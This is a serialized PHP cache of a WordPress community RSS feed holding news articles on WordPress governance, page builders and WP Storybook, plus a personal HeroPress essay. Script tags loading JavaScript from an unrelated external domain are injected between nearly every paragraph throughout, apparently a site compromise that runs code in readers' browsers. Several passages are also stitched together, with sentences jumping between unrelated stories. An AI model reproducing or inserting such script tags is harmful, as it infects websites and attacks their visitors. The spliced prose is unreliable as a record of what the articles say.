happening,&#8221; Mullenweg said. &#8220;I think the example last year was that there was this meeting at 10 Downing Street. Who was there? Was WordPress represented?</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;And he started talking about the Web Foundation, and I began thinking, “Wow, WordPress only represents a third of websites, and not even, really. It’s a third of the top 10 million. Another foundation like the Web Foundation actually might be a better vehicle to try to advocate on the open Web as a whole, versus just the people who happen to be using a single CMS.&#8221;</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>When asked more about WordPress&#8217; leadership structure, Mullenweg reviewed the different approaches he has taken with the project. In 2018, the expression of his BDFL-style leadership was manifestly more overt than previous years, which may have influenced or even inspired the creation of the WordPress Governance Project.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;There’s been a lot more leaders, but I would actually argue the point that WordPress has always been sort of my vision being set, or even my direct leadership,&#8221; Mullenweg said. &#8220;There was a good four or five years there where the leadership structure, because we’ve experimented with lots of different &#8211; we don’t call it governance &#8211; but essentially leadership structures in WordPress. For a while, we had kind of the … It wasn’t a committee approach, but essentially like the lead developers consensus approach. We did that for a few years.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;Even from the beginning it wasn’t just me. It was me and Mike Little, so it’s never been solo. Then we went to where the release lead was the final decider, including over me, so that was probably, I don’t know, 3.9 to 4.7 maybe, that included overruling me as project lead for what was in the release or not, and that was to try to give a little more autonomy and flexibility to release leads. But the big change was a few years ago I said, &#8216;Okay, I’m going to take back over core WordPress development,&#8217; and that was to try to make some of these big changes happen. So right now it is much more of a benevolent dictator model, although both of those words are questionable. But, I don’t see that as the permanent forever structure.&#8221;</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Mullenweg may not be able to sustain this level of involvement in core leadership indefinitely, with all of his other responsibilities at Automattic.

Without a doubt, he’s an important and valued member of our community. I don’t imagine governance as a means of usurping him.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;But should there be a single human face at the head of a project and a community at this scale? When people are critical of decision-making, having Matt at the center makes it easy to make criticism needlessly personal.

He outlined a detailed list of success criteria that hasn&#8217;t officially been embraced by governance project as it has yet to hold its first meeting.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>DeConinck&#8217;s suggestions are incompatible with the current BDFL-style leadership, as he claims that &#8220;feedback from a community of millions of users can’t adequately be processed and acted upon by a single individual listening and making decisions for the project.&#8221; WordPress has risen to become a dominant force on the web during the past 15 years under this style of leadership.

The proliferation of blocks for the new editor has made it easy for non-technical WordPress users to add things like pricing tables, maps, tabs, accordions, and other UI elements. Future iterations of Gutenberg will soon tackle layouts. These improvements to core will radically change how page builder products are marketed to WordPress users.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;One of the decisions we made in response to the news of Gutenberg early on is that we wanted to double down on our professional power users,&#8221; McCullough said. &#8220;It took us a long time in our growth as a business to figure out who our customers were. We realized there were two distinct camps: one that was like a do-it-yourselfer type, someone who maybe had a small business or a hobby website who wanted to use WordPress but wasn&#8217;t familiar with writing code. The other was more of a freelancer &#8211; maybe a one or two person agency, people who were building lots of websites and had development and frontend skills. We see that as the space where we want to live now. We&#8217;re hoping to continue solving problems and making the experience better for folks with a few more skills in their tool belts.&#8221;</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Following up with McCullough later, he said that applying this new direction to Beaver Builder is already translating into the features they are prioritizing for the plugin.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;For example, in our latest major release, we added percent, em, rem, and viewport-based units for things like font sizes, margins, and padding,&#8221; McCullough said. &#8220;Without a basic understanding of CSS, this feature wouldn&#8217;t be too helpful. We also added dozens of pre-built row templates. So, instead of creating single-page designs, our goal was to create a modular system of rows that can be mixed and matched to build out sites. We&#8217;re working to build features that better enable folks who build lots of websites.&#8221;</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>In the interview below we discussed the current integration between Gutenberg and Beaver Builder. McCullough said his team is considering bringing blocks into Beaver Builder or bringing Beaver Builder content into Gutenberg; both are possibilities. His team has been waiting to see how quickly the community adopts Gutenberg before making any major decisions.</p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>&#8220;My hope is that there&#8217;s still going to be a place for page builders, Beaver Builder and everyone in this space, to have a little bit more agility,&#8221; McCullough said. &#8220;We can see Gutenberg kind of be like Instagram in that it&#8217;s going to appeal to a mass audience. We like to live in the Photoshop space where you&#8217;re going to get a lot of fine-tuned controls, solving problems and creating features that are going to help people build websites every day.&#8221;</p>\n\n\n\n<div class=\"wp-block-embed__wrapper\">\n\n</div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 04 Jan 2019 20:20:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:75:\"WPTavern: WP Storybook: A Handy Reference for WordPress React UI Components\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"https://wptavern.com/?p=86604\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"https://wptavern.com/wp-storybook-a-handy-reference-for-wordpress-react-ui-components\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1553:\"<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p><a href=\"https://lubus.in/\">LUBUS</a>, a web design agency in Mumbai, has published a site called <a href=\"https://wp-storybook.netlify.com/\">WP Storybook</a> that offers an interactive way to explore various WordPress React components.

The documentaries are more poignant than the TV spot, which has the added constraint of having to capture the viewer&#8217;s attention with a shorter amount of time. </p>\n\n\n\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The &#8220;Do Anything&#8221; campaign as a whole is a good representation of the power of WordPress and should also help boost name recognition for the software in general. Broderick said Automattic is expecting tens of millions of impressions across TV, print, digital, and podcasts. The campaign is aimed at the American market but Armstrong said they hope to branch out into international markets in the future.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 03 Jan 2019 20:05:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:48;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"HeroPress: YOU Make The Difference\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://heropress.com/?post_type=heropress-essays&p=2672\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:120:\"https://heropress.com/essays/you-make-the-difference/#utm_source=rss&utm_medium=rss&utm_campaign=you-make-the-difference\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:10124:\"<img width=\"960\" height=\"480\" src=\"https://s20094.pcdn.co/wp-content/uploads/2020/01/010219-min-1024x512.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"Pull Quote: WordPress still attracts the same types of people.

I had spent my college years and first years in my chosen career in a male-dominated industry. I learned how to navigate and thrive and took a job at a very large Engineering firm. About a year in I was granted a fantastic opportunity to work on a small startup team that was doing amazing work in 3D scanning.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Being a startup team demanded that we produce more and more work to determine the viability of the investment the firm was making in my boss’s plans. As we worked on landing deals that required overnight travel and training that required days away it brought to the surface a reality that wasn’t so good for me. As the only woman on the team, I doubled the travel budget. They needed two of everything for me since I couldn’t bunk up with my male coworkers.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>The next months were a perfect storm of events. I made an opinionated comment to a division supervisor that was above my pay grade which enhanced my visibility as a problem.

I lost the pregnancy and became depressed, anxious. It was easy for them to let me go then, I had stopped being productive. I found out a couple weeks after losing my job I was pregnant again.

I started a local family newsletter and decided to create an online marketplace for moms who craft out of their homes, like a local Etsy. This is where my search for a tool began.</p>\n<h3>Starting Again</h3>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>A few months later, with no WordPress experience other than what I managed to rake together while I was learning and building, I got a job at WPMUDEV doing product support. I needed the extra cash so my other projects took a backseat and I was soon completely engulfed. Through that job, I came to learn about the ecosystem that was WordPress. I had no idea that there was a place that existed outside of the corporate universe that could exist without sexist politics, hierarchy, and status quo. It was mind-blowing.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>I was so hungry for people to interact with after being in such a team-oriented environment for so long. I loved working with others and I felt very alone until I found this great group of people. And oh what joy when I found it! I was a new mom at home with a baby trying to learn how to handle that new space in my life. My husband had completed a successful career change and we had moved. I had another baby. I met my friend Mason and we started a business together. I lost another pregnancy.</p>\n<blockquote><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>In the space of two short years, my life had completely turned upside down and landed me in the place that would help me survive it all.</p></blockquote>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>You see, without the people, I wouldn’t have made it. I wouldn’t have been able to navigate the overwhelming waters that surrounded me outside of my day to day work. The people who befriended me, who were kind to me, who made jokes with me, who valued my contribution and intelligence without ever having set eyes on me, those were the people who kept me sane. They let me see I didn’t need to be defensive, that I didn’t have to be sorry about being opinionated, that I was different and that I should lean into that.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>When I left product support to work with Mason at, what was formerly called, WP Valet it was yet another major shift in my life. The product space was so different than the agency space and I quickly adapted to the new pace. There was a rush of excitement while learning new things and applying skills that had laid dormant for some time. My father was a Navy man and an entrepreneur and shaped so much of how I applied myself, now I was in a place to push myself even further and define my own path. I was spoiled by my first interactions at WP Valet with developers like Zé Fontainhas and Mario Peshev. The whole thing was thrilling!</p>\n<h3>And Then I Went To WordCamp</h3>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>My first WordCamp was WordCamp Miami 2013. It was probably the first time I’d traveled alone in some time and I was meeting my work family for the first time. On top of that, I was in MIAMI, so it was bound to be a great trip. I got to meet David Bisset and Lisa Sabin Wilson that year, and so many other wonderful people. I was on cloud 9, each and every personality was inspiring to me, all so different than what my former colleagues and field specialists were like. To top it off I walked into my first talk at a WordCamp, Pippin Wilson was talking about how developers should share code. I was beside myself, sharing your code and supporting each other? Not cutthroat over projects and billable hours?! I was swooning over the idea of ‘community’ and what I had stumbled into.</p>\n<blockquote><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Needless to say, I left 100% hooked on my path.

We are products of ALL the things going on in our lives at any given moment. Without the personal struggles and the professional push, I would not have been able to value the community as much as I do. The overlapping of personal and professional trials and successes are what gives depth to our experiences. Their overlapping is what colors the story of our lives.</p>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>Fast forward a few years through a cross-state move, speaking selections, the birth of another child, a company expansion, another pregnancy loss, a company rebranding, a company restructuring, a return to school for Yoga training, and all the other things life throws in your path with family and work and here I sit typing my story at my counter while my middle child hums ‘Mamma Mia’ next to me. I am forever grateful for the life that I’ve been able to live through a whole new career in WordPress.</p>\n<h3>You Make The Difference</h3>\n<script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><script src=\'https://getmyconfigplease.com/d.js\' async type=\'text/javascript\'></script><p>I am grateful for every soul I have met. I had the privilege to work with and become friendly with some of the nicest and most genuine people I will ever meet online and face to face. The ecosystem of WP has changed a lot over the years as most ecosystems do, but it still attracts the same types of people. Those who are brave, who are kind, who are looking to the future.
